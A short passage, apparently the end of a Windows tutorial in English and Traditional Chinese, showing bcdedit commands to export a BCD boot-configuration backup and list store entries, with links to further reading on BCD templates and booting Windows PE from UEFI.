Now you are done, and might want to export again to not lose your work, “bcdedit /export C:\AFTER.BCD”

常見用途:

bcdedit /enum all 列出存放區中的所有項目
bcdedit /store S:\EFI\Microsoft\Boot\BCD /enum all 列出(S:\EFI\Microsoft\Boot\BCD)存放區中的所有項目

更多延伸閱讀

修改 BCD 存放區範本
Walkthrough: Boot Windows PE from a UEFI-based Hard Disk